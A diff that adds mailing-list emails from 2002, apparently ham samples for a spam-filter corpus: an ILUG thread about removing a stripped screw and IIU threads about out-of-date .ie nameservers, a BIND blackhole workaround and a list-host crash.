+http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00481.5afc99aa0e2940b2f61c1a1bf9ea0b49 b/bayes/spamham/easy_ham_2/00481.5afc99aa0e2940b2f61c1a1bf9ea0b49 new file mode 100644 index 0000000..ebdf534 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00481.5afc99aa0e2940b2f61c1a1bf9ea0b49 @@ -0,0 +1,56 @@ +From ilug-admin@linux.ie Wed Aug 21 12:35:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 474A643C32 + for ; Wed, 21 Aug 2002 07:35:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 12:35:56 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LBZwZ22118 for + ; Wed, 21 Aug 2002 12:35:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA26443; Wed, 21 Aug 2002 12:35:19 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from redpie.com (redpie.com [216.122.135.208] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA26401 for + ; Wed, 21 Aug 2002 12:35:10 +0100 +Received: from justin (p353.as2.prp.dublin.eircom.net [159.134.171.97]) by + redpie.com (8.8.7/8.8.5) with SMTP id EAA15062 for ; + Wed, 21 Aug 2002 04:35:08 -0700 (PDT) +From: "Kiall Mac Innes" +To: +Date: Wed, 21 Aug 2002 12:42:17 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Importance: Normal +Subject: [ILUG] URGENT: Cant get a skrew out... PLEASE HELP! +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi i have a phillips head skrew thats holding a circut board together i need +to take it out ASAP and nothing will work, the threads on the skrew are +almost completly gone, its is a very small skrew that i have to use a +percision skrewdriver set to remove the skrews any help would be +appreaciated... + +Kiall Mac Innes + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00482.dcb4dd7822137630e5659b86336082c3 b/bayes/spamham/easy_ham_2/00482.dcb4dd7822137630e5659b86336082c3 new file mode 100644 index 0000000..47f13d5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00482.dcb4dd7822137630e5659b86336082c3 @@ -0,0 +1,67 @@ +From ilug-admin@linux.ie Wed Aug 21 12:41:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 518DE43C32 + for ; Wed, 21 Aug 2002 07:41:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 12:41:28 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LBeZZ22390 for + ; Wed, 21 Aug 2002 12:40:35 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA26678; Wed, 21 Aug 2002 12:39:38 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA26655 for ; + Wed, 21 Aug 2002 12:39:32 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id E051F2B7A3; Wed, 21 Aug 2002 + 12:38:57 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2665) id A4C81E7D4; + Wed, 21 Aug 2002 12:38:57 +0100 (IST) +Date: Wed, 21 Aug 2002 12:38:57 +0100 +From: John Madden +To: Kiall Mac Innes +Cc: ilug@linux.ie +Subject: Re: [ILUG] URGENT: Cant get a skrew out... PLEASE HELP! +Message-Id: <20020821113856.GQ3010@skynet.ie> +Mail-Followup-To: Kiall Mac Innes , + ilug@linux.ie +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.3.24i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On (21/08/02 12:42), Kiall Mac Innes didst pronounce: +> +> Hi i have a phillips head skrew thats holding a circut board together i need +> to take it out ASAP and nothing will work, the threads on the skrew are +> almost completly gone, its is a very small skrew that i have to use a +> percision skrewdriver set to remove the skrews any help would be +> appreaciated... +> +Try a hammer -- great precision tool that!! + +-- +Chat ya later, + +John. +-- +BOFH excuse #167: excessive collisions & not enough packet ambulances + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00483.d804839bdc6a1994adf555fca581d746 b/bayes/spamham/easy_ham_2/00483.d804839bdc6a1994adf555fca581d746 new file mode 100644 index 0000000..53120ee --- /dev/null +++ b/bayes/spamham/easy_ham_2/00483.d804839bdc6a1994adf555fca581d746 @@ -0,0 +1,81 @@ +From ilug-admin@linux.ie Wed Aug 21 12:57:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B998F43C37 + for ; Wed, 21 Aug 2002 07:57:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 12:57:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LBttZ22858 for + ; Wed, 21 Aug 2002 12:55:55 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA27564; Wed, 21 Aug 2002 12:54:55 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA27527 for ; + Wed, 21 Aug 2002 12:54:47 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id 4C9AD2B7A3; Wed, 21 Aug 2002 + 12:54:16 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2214) id 2EFD0E7D4; + Wed, 21 Aug 2002 12:54:16 +0100 (IST) +Received: from localhost (localhost [127.0.0.1]) by skynet.csn.ul.ie + (Postfix) with ESMTP id 2DACF7243; Wed, 21 Aug 2002 12:54:16 +0100 (IST) +Date: Wed, 21 Aug 2002 12:54:15 +0100 (IST) +From: "Cathal A. Ferris" +X-X-Sender: pio@skynet +To: Kiall Mac Innes +Cc: ilug@linux.ie +Subject: Re: [ILUG] URGENT: Cant get a skrew out... PLEASE HELP! +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Spray a bit of wd40 around the screw, and leave for a few minutes + +Try using a small crocodile-nosed pliers if you have enough space around +th head of the screw. If not, try a hacksaw blade on the shaft of the +screw under the board (taking care not to scratch the underside of the +board. after cutting the screw, that holder on the board support structure +cannot really be used again. + +Another method is to get a small screwdriver that you can consider +disposable, and gently tap it into the head of the stripped screw, until +you either have a flat head screw, or you can get enough turning force + on it. + +Cathal. + +On Wed, 21 Aug 2002, Kiall Mac Innes wrote: +> Hi i have a phillips head skrew thats holding a circut board together i need +> to take it out ASAP and nothing will work, the threads on the skrew are +> almost completly gone, its is a very small skrew that i have to use a +> percision skrewdriver set to remove the skrews any help would be +> appreaciated... +> +> Kiall Mac Innes +> +> +> + +-- +Cathal Ferris. pio@skynet.ie ++353 87 9852077 www.csn.ul.ie/~pio +--- + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00484.f7052aa77491ee5979a55c16eae22422 b/bayes/spamham/easy_ham_2/00484.f7052aa77491ee5979a55c16eae22422 new file mode 100644 index 0000000..732d95a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00484.f7052aa77491ee5979a55c16eae22422 @@ -0,0 +1,101 @@ +From iiu-admin@taint.org Fri Jul 19 15:11:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8A58443FB5 + for ; Fri, 19 Jul 2002 10:11:00 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 15:11:00 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JE8bJ02842; + Fri, 19 Jul 2002 15:08:38 +0100 +Received: from mail.kerna.ie (ns.kerna.ie [194.106.143.66]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JDxLJ02068 for + ; Fri, 19 Jul 2002 14:59:21 +0100 +Received: from ram.kerna.ie (ram.kerna.ie [194.106.143.99]) by + mail.kerna.ie (8.9.3/8.9.3) with ESMTP id OAA11795 for ; + Fri, 19 Jul 2002 14:59:21 +0100 (BST) +Received: from bender.kerna.ie (bender.kerna.ie [192.168.42.133]) by + ram.kerna.ie (8.9.3/8.9.3) with ESMTP id OAA07121 for ; + Fri, 19 Jul 2002 14:59:20 +0100 +Received: (from james@localhost) by bender.kerna.ie (8.11.6/8.11.6) id + g6JDxIT37074 for iiu@taint.org; Fri, 19 Jul 2002 14:59:18 +0100 (IST) + (envelope-from james-iiu@now.ie) +From: James Raftery +To: iiu@taint.org +Message-Id: <20020719135918.GD24934@bender.kerna.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +Subject: [IIU] IE nameserver problems +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +List-Unsubscribe: , + +List-Id: Irish Internet Users List. See http://iiu.taint.org/ + +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +X-Original-Date: Fri, 19 Jul 2002 14:59:18 +0100 +Date: Fri, 19 Jul 2002 14:59:18 +0100 + +Hi, + +Four of the IE nameservers are publishing out of date DNS information. +The four listed below are publishing the IE zone from last Friday. +They are six days behind reality. + + 192.16.202.11 NS.EU.NET. + 192.93.0.4 NS2.NIC.FR. + 198.133.199.102 GNS1.DOMAINREGISTRY.IE. + 198.133.199.103 GNS2.DOMAINREGISTRY.IE. + +The upshot of this is that correct DNS resolution for IE DNS data that +has been added or updated since last Friday is going to be +intermittant. If you're lucky your resolver will query one of the five +nameservers that are publishing an up-to-date zone. Unfortunately, five +out of nine aren't good odds. + +Don't forget, if you lose the gamble your resolver is going to cache +the bad data for up to two days. + +If you're a user of BIND 8 or BIND 9 you could add + + blackhole { + 192.16.202.11; + 192.93.0.4; + 198.133.199.102; + 198.133.199.103; + }; + +to your named.conf and restart BIND to avoid query the bad nameservers. +This will prevent _any_ queries to those servers. + +Putting + + 16.1.0.18 + 204.123.2.18 + 16.1.0.19 + 192.111.39.100 + 212.17.32.2 + 193.1.142.2 + +in /service/dnscache/root/servers/ie and restarting dnscache will +have the same result for dnscache users. + + +ATB, +james +_______________________________________________ +Irish Internet Users mailing list +Irish Internet Users@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00485.d145b6b07afdaf18843917fe30e852d8 b/bayes/spamham/easy_ham_2/00485.d145b6b07afdaf18843917fe30e852d8 new file mode 100644 index 0000000..9f4aa12 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00485.d145b6b07afdaf18843917fe30e852d8 @@ -0,0 +1,52 @@ +From iiu-admin@taint.org Fri Jul 19 15:39:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9E8FE43FAD + for ; Fri, 19 Jul 2002 10:39:20 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 15:39:20 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JET1J04575 for + ; Fri, 19 Jul 2002 15:29:01 +0100 +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JES1J04499 for + ; Fri, 19 Jul 2002 15:28:02 +0100 +Date: Fri, 19 Jul 2002 15:28:01 +0100 +Message-Id: <20020719142801.4497.78836.Mailman@dogma.slashnull.org> +Subject: Irish Internet Users post from yyyycc@hackwatch.com requires approval +From: iiu-admin@taint.org +To: iiu-admin@taint.org +X-Ack: no +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Sender: iiu-owner@taint.org +Errors-To: iiu-owner@taint.org +X-Beenthere: iiu@iiu.taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users List. See http://iiu.taint.org/ + +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: + +As list administrator, your authorization is requested for the +following mailing list posting: + + List: Irish Internet Users@iiu.taint.org + From: yyyycc@hackwatch.com + Subject: Re: [IIU] IE nameserver problems + Reason: Post to moderated list + +At your convenience, visit: + + http://iiu.taint.org/mailman/admindb/iiu + +to approve or deny the request. + + diff --git a/bayes/spamham/easy_ham_2/00486.4955a3731a2feb907febe6a633678772 b/bayes/spamham/easy_ham_2/00486.4955a3731a2feb907febe6a633678772 new file mode 100644 index 0000000..a34d084 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00486.4955a3731a2feb907febe6a633678772 @@ -0,0 +1,94 @@ +From iiu-admin@taint.org Fri Jul 19 16:07:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5B1DF440CC + for ; Fri, 19 Jul 2002 11:07:34 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:07:34 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JF4AJ06915; + Fri, 19 Jul 2002 16:04:10 +0100 +Received: from waterford.wizardr.ie (root@stargate.wizardr.ie + [194.125.0.34]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6JERLJ04422 for ; Fri, 19 Jul 2002 15:27:21 +0100 +Received: from hackwatch.com (void.nsa.ie [193.120.253.3]) by + waterford.wizardr.ie (8.9.3/8.9.3) with ESMTP id PAA05822; Fri, + 19 Jul 2002 15:27:17 +0100 +Message-Id: <3D3821E7.565A1DE4@hackwatch.com> +From: John McCormac +Organization: HackWatch +X-Mailer: Mozilla 4.78 [en] (Win98; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: James Raftery +Cc: iiu@taint.org +Subject: Re: [IIU] IE nameserver problems +References: <20020719135918.GD24934@bender.kerna.ie> +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +List-Unsubscribe: , + +List-Id: Irish Internet Users List. See http://iiu.taint.org/ + +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +X-Original-Date: Fri, 19 Jul 2002 15:27:51 +0100 +Date: Fri, 19 Jul 2002 15:27:51 +0100 + +James Raftery wrote: +> +> Hi, +> +> Four of the IE nameservers are publishing out of date DNS information. +> The four listed below are publishing the IE zone from last Friday. +> They are six days behind reality. + +James, +Last week, when indexing stuff for WhoisIreland.com, I noticed that +ns0.domainregistry.ie and banba.domainregistry.ie were out of synch by a +few days. The other nameservers seemed to give a current SOA at that +time. However the affected secondaries may have been using +ns0.domainregistry.ie for axfr and propagated the error. + +This whole thing does seriously bring into question IEDR's decision to +outsource the technical admininstration of .ie to a company that +apparently does not even admin its own DNS. It is a nice story though - +almost as good as the time that .ie disappeared for 8 hours in July +1998. + +Regards...jmcc +-- +******************************************** +John McCormac * Hack Watch News +jmcc@hackwatch.com * 22 Viewmount, +Voice: +353-51-873640 * Waterford, +BBS&Fax: +353-51-850143 * Ireland +http://www.hackwatch.com/~kooltek +******************************************** + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.6 + +mQCNAzAYPNsAAAEEAPGTHaNyitUTNAwF8BU6mF5PcbLQXdeuHf3xT6UOL+/Od+z+ +ZOCAx8Ka9LJBjuQYw8hlqvTV5kceLlrP2HPqmk7YPOw1fQWlpTJof+ZMCxEVd1Qz +TRet2vS/kiRQRYvKOaxoJhqIzUr1g3ovBnIdpKeo4KKULz9XKuxCgZsuLKkVAAUX +tCJKb2huIE1jQ29ybWFjIDxqbWNjQGhhY2t3YXRjaC5jb20+tBJqbWNjQGhhY2t3 +YXRjaC5jb20= +=sTfy +-----END PGP PUBLIC KEY BLOCK----- +_______________________________________________ +Irish Internet Users mailing list +Irish Internet Users@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00487.4c0487a128123e92602005535955e7a1 b/bayes/spamham/easy_ham_2/00487.4c0487a128123e92602005535955e7a1 new file mode 100644 index 0000000..f767292 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00487.4c0487a128123e92602005535955e7a1 @@ -0,0 +1,77 @@ +From iiu-admin@taint.org Tue Jul 23 14:08:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 89CD2440D0 + for ; Tue, 23 Jul 2002 09:08:31 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 14:08:31 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6ND7e424479; + Tue, 23 Jul 2002 14:07:40 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6ND6l424096; + Tue, 23 Jul 2002 14:06:49 +0100 +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g6ND5ep14096; Tue, 23 Jul 2002 14:05:42 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + A6031440CC; Tue, 23 Jul 2002 09:04:28 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9FD2033E4F; + Tue, 23 Jul 2002 14:04:28 +0100 (IST) +To: iiu@taint.org +Cc: mice@crackmice.com, isoc@taint.org, zzzzteana@taint.org +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +X-Image-Url: http://spamassassin.taint.org/me.jpg +Message-Id: <20020723130428.A6031440CC@phobos.labs.netnoteinc.com> +Subject: [IIU] mailman crash on list host +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 14:04:23 +0100 + +Hi all -- + +We had a pretty serious crash on the list host over the weekend, and it +destroyed all configuration data. As a result, I've had to rebuild the +mailing list from various other sources -- including the archives of +past list traffic. + +If you're a list subscriber, you may have received a "welcome to the list" +mail. All well and good. However, if you *used* to be subscribed to one +of the lists at some point in 2002, or never were (I'm hoping that didn't +happen!), you may have also have received one of these. Just go to the +URL and click "unsubscribe", providing the password from the mail if +necessary. + +If you're a list admin on any of the lists at lists.boxhost.net or +taint.org, I'd appreciate if you could take a look and make sure the +settings match up with what they used to be. + +Sorry about this :( + +--j. + +-- +'Justin Mason' => { url => 'http://jmason.org/', blog => 'http://taint.org/' } + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00488.cce5891184f90e1c49774e1464bc8f4f b/bayes/spamham/easy_ham_2/00488.cce5891184f90e1c49774e1464bc8f4f new file mode 100644 index 0000000..510ec2e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00488.cce5891184f90e1c49774e1464bc8f4f @@ -0,0 +1,90 @@ +From iiu-admin@taint.org Tue Jul 23 17:48:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 543B6440CD + for ; Tue, 23 Jul 2002 12:48:24 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 17:48:24 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6NGkc412601; + Tue, 23 Jul 2002 17:46:38 +0100 +Received: from mail.kerna.ie (ns.kerna.ie [194.106.143.66]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6NGj9412541 for + ; Tue, 23 Jul 2002 17:45:09 +0100 +Received: from ram.kerna.ie (ram.kerna.ie [194.106.143.99]) by + mail.kerna.ie (8.9.3/8.9.3) with ESMTP id RAA19822 for ; + Tue, 23 Jul 2002 17:44:24 +0100 (BST) +Resent-From: james@kerna.ie +Received: from bender.kerna.ie (bender.kerna.ie [192.168.42.133]) by + ram.kerna.ie (8.9.3/8.9.3) with ESMTP id RAA31527 for ; + Tue, 23 Jul 2002 17:44:24 +0100 +Received: (from james@localhost) by bender.kerna.ie (8.11.6/8.11.6) id + g6NGiMP35943 for iiu@taint.org; Tue, 23 Jul 2002 17:44:22 +0100 (IST) + (envelope-from james@kerna.ie) +Resent-Message-Id: <200207231644.g6NGiMP35943@bender.kerna.ie> +From: James Raftery +To: iiu@taint.org +Subject: Re: [IIU] IE nameserver problems +Message-Id: <20020722094916.GA93741@bender.kerna.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +Resent-Date: Tue, 23 Jul 2002 17:44:22 +0100 +Resent-To: iiu@taint.org +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 10:49:16 +0100 + +Hi, + +John McCormac wrote: +> Last week, when indexing stuff for WhoisIreland.com, I noticed that +> ns0.domainregistry.ie and banba.domainregistry.ie were out of synch by +> a few days. The other nameservers seemed to give a current SOA at that +> time. However the affected secondaries may have been using +> ns0.domainregistry.ie for axfr and propagated the error. + +I don't know what role ns0 plays in relation to the IE zone. It's +certainly not involved in the regular resolution process. It may +be involved in zone distribution as you suggest. IIRC (and I often +don't) on Friday ns0 had a serial that none of the IE nameservers +shared. Unfortunately I don't have a record of that. + +> This whole thing does seriously bring into question IEDR's decision to +> outsource the technical admininstration of .ie to a company that +> apparently does not even admin its own DNS. It is a nice story though - +> almost as good as the time that .ie disappeared for 8 hours in July +> 1998. + +... and only you noticed :) +[ Messages on the IEDR-FORUM list at the time don't support + your assertion ] + +As an aside, shortly after my note on Friday uucp-gw-1.pa.dec.com and +uucp-gw-2.pa.dec.com stopped responding to DNS requests. So IE had +two dead nameservers, four stuck a week in the past and three +working correctly. Marvellous. + + +ATB, +james +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00489.6da145a3fb2e350f6e3613b4c5e6cc74 b/bayes/spamham/easy_ham_2/00489.6da145a3fb2e350f6e3613b4c5e6cc74 new file mode 100644 index 0000000..81557fa --- /dev/null +++ b/bayes/spamham/easy_ham_2/00489.6da145a3fb2e350f6e3613b4c5e6cc74 @@ -0,0 +1,123 @@ +From iiu-admin@taint.org Tue Jul 23 22:55:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7BDD7440CC + for ; Tue, 23 Jul 2002 17:55:22 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 22:55:22 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6NLsE430662; + Tue, 23 Jul 2002 22:54:14 +0100 +Received: from waterford.wizardr.ie (root@stargate.wizardr.ie + [194.125.0.34]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6NLrZ430641 for ; Tue, 23 Jul 2002 22:53:35 +0100 +Received: from hackwatch.com (void.nsa.ie [193.120.253.3]) by + waterford.wizardr.ie (8.9.3/8.9.3) with ESMTP id WAA18585 for + ; Tue, 23 Jul 2002 22:52:47 +0100 +Message-Id: <3D3DD053.572AEC01@hackwatch.com> +From: John McCormac +Organization: HackWatch +X-Mailer: Mozilla 4.78 [en] (Win98; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: iiu@taint.org +Subject: Re: [IIU] IE nameserver problems +References: <20020722094916.GA93741@bender.kerna.ie> +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 22:53:23 +0100 + +James Raftery wrote: +> +> I don't know what role ns0 plays in relation to the IE zone. It's +> certainly not involved in the regular resolution process. It may +> be involved in zone distribution as you suggest. IIRC (and I often +> don't) on Friday ns0 had a serial that none of the IE nameservers +> shared. Unfortunately I don't have a record of that. + +>>From indexing CNO, ns0 appears to be IEDR's CNO nameserver for its CNO +domains (iedr.com and others). + +> > This whole thing does seriously bring into question IEDR's decision to +> > outsource the technical admininstration of .ie to a company that +> > apparently does not even admin its own DNS. It is a nice story though - +> > almost as good as the time that .ie disappeared for 8 hours in July +> > 1998. +> +> ... and only you noticed :) +> [ Messages on the IEDR-FORUM list at the time don't support +> your assertion ] + +Yeah but I was right and I was there. The people who were saying that it +did not happen did not see the fadeout in progress. It only came back +after the server was rebooted properly. However improbable it seemed at +the time, the nameservers came back up after a power outage without the +.ie zonefile. As a result it, there was nothing in the file that the +secondaries picked up. At the time, I thought that the file was on an +NFS. But if it regenerated after reboot, and the NFS input was not +there, it would have generated a blank zonefile - that makes some sense. +History now but it has an alarming relevance. :) + +> As an aside, shortly after my note on Friday uucp-gw-1.pa.dec.com and +> uucp-gw-2.pa.dec.com stopped responding to DNS requests. So IE had +> two dead nameservers, four stuck a week in the past and three +> working correctly. Marvellous. + +Confirm that. The nameservers themselves had connectivity problems from +what I could see and it was going on for a while, even *after* the +initial SOA problems. + +I am thinking of writing a simple .ie secondary state monitor for +inclusion on 